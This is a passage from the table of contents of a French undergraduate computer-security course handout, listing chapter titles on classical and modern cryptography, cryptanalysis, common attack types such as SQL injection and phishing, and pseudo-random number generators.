2.2. Histoire de la cryptographie ancienne (ou cryptographie classique) ..................................... 15
2.3. Exemples de système cryptographique.................................................................................. 15
CHAPITRE 3 : CRYPTANALYSE ...................................................................................................... 31
3.1. Principe de Kerckhoff ........................................................................................................... 31
3.2. Différents types de cryptanalyse ........................................................................................... 32
3.3. Attaque sur un chiffrement .................................................................................................... 32
3.4. Analyse de fréquences ........................................................................................................... 33
3.5. Cryptanalyse du chiffrement affine ....................................................................................... 36
3.6. Cryptanalyse du chiffrement de Vigenère ............................................................................. 38
3.7. Cryptanalyse du chiffrement par décalage (César)................................................................ 41
3.8. Différentes notions de sécurité d’un cryptosystème .............................................................. 42
3.9. Force des cryptosystèmes ...................................................................................................... 43
Chapitre 4 : Cryptographie moderne ..................................................................................................... 45
4.1. Chiffrement symétrique ......................................................................................................... 46
4.2. Chiffrement asymétrique ....................................................................................................... 47
4.3. Clé de session ........................................................................................................................ 48
4.4. Algorithme de Diffie-Hellman .............................................................................................. 49

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 89
4.5. Algorithme RSA .................................................................................................................... 49
Chapitre 5 : La piraterie informatique ................................................................................................... 51
5.1. Introduction aux attaques ...................................................................................................... 51
5.2. Types d’attaques .................................................................................................................... 51
5.3. Effort de protection ............................................................................................................... 53
5.4. Attaques par rebond............................................................................................................... 53
5.5. Les hackers ............................................................................................................................ 54
5.6. Culture du « Z »..................................................................................................................... 56
5.7. Le langage « C0wb0y » ......................................................................................................... 56
5.8. Attaques cryptographiques .................................................................................................... 57
5.9. Choix du mot de passe........................................................................................................... 59
5.10. Attaque man in the middle ................................................................................................ 61
5.11. Attaque par rejeu ............................................................................................................... 61
5.12. Vulnérabilité des services web .......................................................................................... 61
5.13. Introduction aux URL........................................................................................................ 64
5.14. Injection de code malicieux ............................................................................................... 68
5.15. Attaque croisée .................................................................................................................. 71
5.16. Injection des commandes SQL .......................................................................................... 71
5.17. Arnaques ............................................................................................................................ 73
5.18. Introduction au phishing .................................................................................................... 77
5.19. Loterie internationale......................................................................................................... 78
Chapitre 6 : Générateurs pseudo-aléatoires ........................................................................................... 80
6.1. Introduction ........................................................................................................................... 80
6.2. Nombres aléatoires ................................................................................................................ 80
6.3. Les nombres pseudo-aléatoires.............................................................................................. 81
6.4. Conclusion et Discussions ..................................................................................................... 83
REFERENCES ...................................................................................................................................... 88
Table des matières ................................................................................................................................. 89

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 90

Vous aimerez peut-être aussi